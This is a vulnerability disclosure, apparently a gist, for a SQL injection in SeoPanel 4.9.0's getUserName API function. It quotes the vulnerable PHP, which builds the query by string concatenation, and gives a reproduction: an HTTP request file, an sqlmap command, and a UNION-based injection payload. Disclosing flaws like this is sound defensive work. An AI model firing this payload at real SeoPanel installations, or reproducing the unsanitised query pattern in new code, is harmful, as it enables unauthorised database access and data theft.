SeoPanel Official Website: https://www.seopanel.org/
Github: https://github.com/seopanel/Seo-Panel
Latest version 4.9.0: https://www.seopanel.org/spdownload/, https://github.com/seopanel/Seo-Panel/tree/7c107c789be74bdb284f857cd6a51877f0e0c11b, or the file attached to this gist below.
In api/user.api.php
, the function getUserName
directly calls function __checkUserName
in controllers/user.ctrl.php
file without filtering on variables. Attacker can pass arbitrary string to username
variable through $info
. This allows injection to the __checkUsername
function directly:
getUserName:
function getUserName($info) {
$username = $info['username'];
$returnInfo = array();
// validate the user ifd and user info
if (!empty($username)) {
if ($userInfo = $this->ctrler->__checkUserName($username)) {
$returnInfo['response'] = 'success';
$returnInfo['result'] = $userInfo;
return $returnInfo;
}
}
$returnInfo['response'] = 'Error';
$returnInfo['error_msg'] = "Invalid username provided";
return $returnInfo;
}
__checkUserName:
function __checkUserName($username){
$sql = "select id from users where username='$username'";
$userInfo = $this->db->select($sql, true);
return empty($userInfo['id']) ? false : $userInfo['id'];
}
The above-mentioned vulnerability can be reproduced by sqlmap through a request file injection.txt
:
POST /seopanel/api/api.php HTTP/1.1
Host: localhost
Accept: */*
Content-Length: 118
Content-Type: application/x-www-form-urlencoded
Connection: close
SP_API_KEY=<key_here>&API_SECRET=<secret>&category=user&action=getUserName&username=spadmin
with sqlmap command: sqlmap -r injection.txt -p 'username'
. A boolean-based blind injection shall work, with payload similar to:
username=123' UNION ALL SELECT CONCAT(CONCAT('abc','abc'),'abc')--
(do note that there's one space at the end of variable to bypass the original quotation mark).